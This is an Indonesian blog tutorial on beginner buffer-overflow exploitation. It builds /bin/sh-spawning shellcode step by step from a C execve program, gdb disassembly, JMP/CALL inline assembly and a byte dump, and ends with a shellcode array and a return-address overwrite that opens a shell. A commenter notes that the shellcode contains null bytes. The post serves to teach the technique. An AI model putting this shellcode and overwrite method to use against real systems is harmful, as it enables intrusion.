Buffer Overflow Exploitation for Owning (Beginner)


shellcodeMempelajari dan mengerti tentang Buffer Overflow memang bikin kepala bisa pitakan karena kita harus memahamai bahasa pemrograman c, assembly dan luar dalam sistem operasi (jangan luar dalam tangtop aje loe pahamin🙂 ), apalagi buat orang-orang yang suka deface web pake union select atau pake include-include -an bisa-bisa stress gantung diri ( woi ngaca loe kaya gak kaya gitu aje loe ).. hahaha,,. yasudahlah masa lalu itu, sekarang kita coba menjadi insan yang lebih baik dari hari sebelumnya, kan di al-quran juga ada dalil yang kurang lebih begini isinya (maaf kalo salah, saya bukan ustad) “Barang siapa yang lebih baik dari hari sebelumnya maka dia adalah orang yang beruntung, dan siapa yang tidak lebih baik dari hari sebelumnya maka dia adalah orang yang merugi).

Pengertian dari Buffer Overflow sebelumnya bisa anda liat di postingan sebelumnya tentang Konsep Buffer Overflow dan Pencegahannya singkatnya Buffer Overflow adalah cabang olahraga atletik yang,,, eh maaf,, cabang exploitasi terhadap program yang terjadi jika program menerima input ke dalam buffer dan buffer tidak cukup menampung informasi yang dialokasikan dalam memori. Hal ini membuat seorang attacker untuk menimpa data dalam path eksekusi program dan mengambil alih control program dan mengeksekusi kode jahat (shellcode) si maling.

Buffer Overflow merupakan jurus yang ampuh para master-master keamanan komputer dari jaman monyet sama onta berantem sampe sekarang jaman cIcaK bisa sadap telepon si Buaya di jakarta,,ckckck,,,masih ampuh buat shell spawning. Mengerti Buffer Overflow membuat kita semakin memahami sulitnya membuat exploit yang biasa kita donlod, dan jalankan script tersebut tanpa sedikitpun ingin mengerti maksud dari barisan-barisan kode tersebut, setelah berhasil deface sebuah website atau mendapatkan akses root akhirnya menyombongkan diri dengan memajang nick dan puisi norak anak SMP , trus kasian banget yang buat exploit, capek-capek riset buat exploit eh emang kiddiez tak tahu malu menghapus nama kawan kita dari barat di script exploit dan mengganti nama si kiddiez….aaargghhh…postingannya malah curhatan gini??? jadi inget artikelnya y3dips echo knap[a]_aku_gak_mau_Jadi_SK~y3dips.

Balik lagi ke topik , postingan ini adalah permulaan, ibaratnya masih kulitnya aja gue juga masih belajar yang beginian. Ada beberapa macam Buffer Overflow exploit seperti Stack-based Overflow, Heap dan BSS Based Overflow, dan Format Strings Based. Sebelumnya kita bahas terlebih dahulu apa itu shellcode atau shell code sama aja lah..

SHELL CODE

Shell code adalah array atau larik bertipe array yang berisikan instruksi yang dimengerti mesin digunakan untuk menguasai shell target exploitasi. Pada program yang ingin dieksploitasilah bakal kita tulis shell code – nya, dibutuhkan skill pemrograman assembly , dan bahasa c silahkan beli di toko buku, gramedia, atau di pondok cina (kan murah tuh). Shell code bisa kita dapatkan dengan generate menggunakan freameworknya metasploit, atau ambil aja disitus metasploit.com, milw0rm.org.

——- shell.cpp ———-

void main()
{
  char *sh[2]; 
  sh[0]="/bin/sh"; 
  sh[1]=NULL; 
  execve(sh[0],sh,NULL); 
} 

——- end of shell.cpp ———-

Program di atas digunakan untuk menjalankan shell, compile dengan opsi -static dan jalankan di The Gnu Debugger atau gdb.

root@slacker:~#cc shell.cpp -o shell -static
root@slacker:~#gdb shell
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) disass main
Dump of assembler code for function main:
0x80481c0 : push %ebp
0x80481c1 : mov %esp,%ebp
0x80481c3 : sub $0x8,%esp
0x80481c6 : movl $0x8073768,0xfffffff8(%ebp)
0x80481cd : movl $0x0,0xfffffffc(%ebp)
0x80481d4 : push $0x0
0x80481d6 : lea 0xfffffff8(%ebp),%eax
0x80481d9 : push %eax
0x80481da : mov 0xfffffff8(%ebp),%eax
0x80481dd : push %eax
0x80481de : call 0x804ea70
0x80481e3 : add $0xc,%esp
0x80481e6 : xor %eax,%eax
0x80481e8 : jmp 0x80481f0
0x80481ea : lea 0x0(%esi),%esi
0x80481f0 : mov %ebp,%esp
0x80481f2 : pop %ebp
0x80481f3 : ret
0x80481f4 : nop
0x80481f5 : nop
0x80481f6 : nop
0x80481f7 : nop
0x80481f8 : nop
0x80481f9 : nop
0x80481fa : nop
0x80481fb : nop
0x80481fc : nop
0x80481fd : nop
0x80481fe : nop
0x80481ff : nop
End of assembler dump.
(gdb) disass execve
Dump of assembler code for function __execve:
0x804ea70 : push %ebx
0x804ea71 : mov 0x10(%esp,1),%edx
0x804ea75 : mov 0xc(%esp,1),%ecx
0x804ea79 : mov 0x8(%esp,1),%ebx
0x804ea7d : mov $0xb,%eax
0x804ea82 : int $0x80
0x804ea84 : pop %ebx
0x804ea85 : cmp $0xfffff001,%eax
0x804ea8a : jae 0x804ee40
0x804ea90 : ret
End of assembler dump.
(gdb) quit

Mari kita lihat funsi-fungsi yang dimulai dari awal,

main -> push %ebp
main+1 ->movl %esp,%ebp

Diatas adalah prosedur standar di semua fungsi, Pertama simpan %ebp dan perpindahan %esp ke %ebp membuat %ebp menjadi frame pointer baru.

main+3 -> sub $0x8,%esp

sub %esp dengan 0x8 karena pointer 2 char berisi panjang 8 bytes 2*4=8:))

main+6 -> movl 0x8073768,0xfffffff8(%ebp)

sama seperti sh[0]=”/bin/sh”;

main+13 -> movl $0x0,0xfffffffc(%ebp)
sama seperti sh[1]=NULL;

main+20 -> pushl $0x0

pemanggilan fungsi execve dimulai dari sini, mendorong argument dalam fungsi secara terbalik di stack (arsitektur x86 dimulai dari atas ke bawah).

main+22 -> lea 0xfffffff8(%ebp),%eax
lea memuat alamat dari sh ke dalam pointer.

main+25 -> pushl %eax
memasukkan alamat ke dalam stack, argumen ke dua (sh).

main+26 -> movl 0xfffffff8(%ebp),%eax …
alamat dari /bin/sh berada di 0xfffffff8(%ebp) lihat main+6 dan masuk ke dalam stack sebagai sh[0]

Sekarang mari kita lihar di execve function.

__execve+1 mov 0x10(%esp,1),%edx
kita harus mempunya alamat dari argumen ke 3 dalam %edx(NULL adalah argument ke tiga)

__execve+5 mov 0xc(%esp,1),%ecx
membuat alamat dari sh dalam %ecx(sh merupakan argumen ke 2)

__execve+9 mov 0x8(%esp,1),%ebx

membuat alamat dari “/bin/sh” dalam %ebx(sh[0] argumen pertama)

__execve+13 mov $0xb,%eax
0xb adalah system call untuk execve

__execve+18 int $0x80

mengubah ke modus kernel

Selanjtnya yang harus kita lakukan

membuat alamat NULL di %edx
membuat alamat sh di %ecx
membuat alamat “/bin/sh” di %ebx
membuat 0xb dalam %eax
memanggil int $0x80

nah,, sekarang menentukan lokasi tepat untuk menempatkan string “/bin/sh” kita. Kita bisa lakukan untuk menaruh “/bin/sh” setelah pemanggilan yang akan mendorong EIP di stack,dan EIP akan menjadi lokasi tring “/bin/sh”…ilustrasinya seperti di bawah.

[JJaaaaaaaaaaaaaaaaaaaaaaaaCCssssss]
|^_______________________^|
|________________________|

dalam permulaan kode kita menaruh instruksi JMP dimana jmp untuk CALL dan CALL menyimpan lokasi EIP dan lokasi EIP akan tertimpa untuk alamat “/bin/sh”.

a-tempat kode
J-tempat JMP
C-tempat CALL
s-tempat “/bin/sh”

dan tulis kedalam format asm

———— shell1.cpp Code Starts Here —————-

void main(){ 
__asm__("jmp 0x1e \n" 		//jmp ke call 
"popl %esi \n" 			//simpan EIP ke esi,yang menjadi alamat /bin/sh  
"movl %esi,0x8(%esi) \n" 	//alamat sh dibelakang /bin/sh 
"movl $0x0,0xc(%esi) \n" 	//NULL sebagai argumen ke tigas setelah alamat sh
"movb $0x0,0x7(%esi) \n" 	//memberhentikan /bin/sh dengan '' 
"movl %esi,%ebx \n" 		//alamat sh[0] di %ebx 
"leal %0x8(%esi),%ecx \n" 	//alamat sh di %ecx(argumen ke 2) 
"leal %0xc(%esi),%edx \n" 	//alamat NULL di %edx(argumen ke 3) 
"movl $0xb,%eax \n" 		//sys call dari execve di %eax 
" int $0x80 \n" 		//kernel mode 
" call -0x23 \n" 		//call popl %esi 
" .string \"/bin/sh\" \n"); 	//string 
} 

———— shell1.cpp Code Ends Here —————-

Lets compile this

root@slacker:~#cc shel1.cpp -o shell1
root@slacker:~#gdb shell1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) x/bx main+3 <-------jmp start here
0x8048733 : 0xeb
(gdb)
0x8048734 : 0x1e
(gdb)
0x8048735 : 0x5e
(gdb)
0x8048736 : 0x89
(gdb)
0x8048737 : 0x76
(gdb)
0x8048738 : 0x08
(gdb)
0x8048739 : 0xc6
(gdb)
0x804873a : 0x46
(gdb)
0x804873b : 0x07
(gdb)
0x804873c : 0x00
(gdb)
0x804873d : 0xc7
(gdb)
0x804873e : 0x46
(gdb)
0x804873f : 0x0c
(gdb)
0x8048740 : 0x00
(gdb)
0x8048741 : 0x00
(gdb)
0x8048742 : 0x00
(gdb)
0x8048743 : 0x00
(gdb)
0x8048744 : 0x89
(gdb)
0x8048745 : 0xf3
(gdb)
0x8048746 : 0x8d
(gdb)
0x8048747 : 0x4e
(gdb)
0x8048748 : 0x08
(gdb)
0x8048749 : 0x8d
(gdb)
0x804874a : 0x56
(gdb)
0x804874b : 0x0c
(gdb)
0x804874c : 0xb8
(gdb)
0x804874d : 0x0b
(gdb)
0x804874e : 0x00
(gdb)
0x804874f : 0x00
(gdb)
0x8048750 : 0x00
(gdb)
0x8048751 : 0xcd
(gdb)
0x8048752 : 0x80
(gdb)
0x8048753 : 0xe8
(gdb)
0x8048754 : 0xdd
(gdb)
0x8048755 : 0xff
(gdb)
0x8048756 : 0xff
(gdb)
0x8048757 : 0xff
(gdb)
0x8048758 : 0x2f
(gdb)
0x8048759 : 0x62
(gdb)
0x804875a : 0x69
(gdb)
0x804875b : 0x6e
(gdb)
0x804875c : 0x2f
(gdb)
0x804875d : 0x73
(gdb)
0x804875e : 0x68 <--------- shell code berakhir disini..
(gdb)quit

lets write our shell code->

————— shell2.cpp Code Starts Here ——————

char c0de[]= 
"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00" 
"\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb8\x0b\x00\x00\x00" 
"\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 
 
int main(){ 
char buf[5]; 
long *ret=(long *)(buf+12); 
*ret=(long)c0de; 
} 

————— shell2.cpp Code Ends Here ——————

root@slacker:~#cc shell2.cpp -o shell2
root@slacker:~#./shell2
sh-2.03

This works… “\x2f\x62\x69\x6e\x2f\x73\x68” sama dengan menulis “/bin/sh” (akhir penulisan kode). sekedar informasi skrip di atas di jalankan di atas mesin slackware 9 kernel 2.4.24. Jika terdapat kekeliruan dalam postingan ini harap beri caci makian di bawah, trims… ude dulu deh, pala gue pusing..zzzZZ😦

Berlanjut “Stack Based Overflow Exploitation

references :
Introduction to Buffer Overflow by Ghost_Rider – Appendix A: Shell Code – http://blacksun.box.sk/
Hacking: The Art of Exploitation – 0x260 Buffer Overflow © 2003 Jon Erickson.

3 thoughts on “Buffer Overflow Exploitation for Owning (Beginner)

  1. gan , itu kok shellcode ada nullbyte-nya tapi bisa jalan sih? bijimane tuh gan @_@ kan kalo ane rata2 liat tutorial bikin sh3llc0d3 di google katanya ga boleh ada nullbyte nya?

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s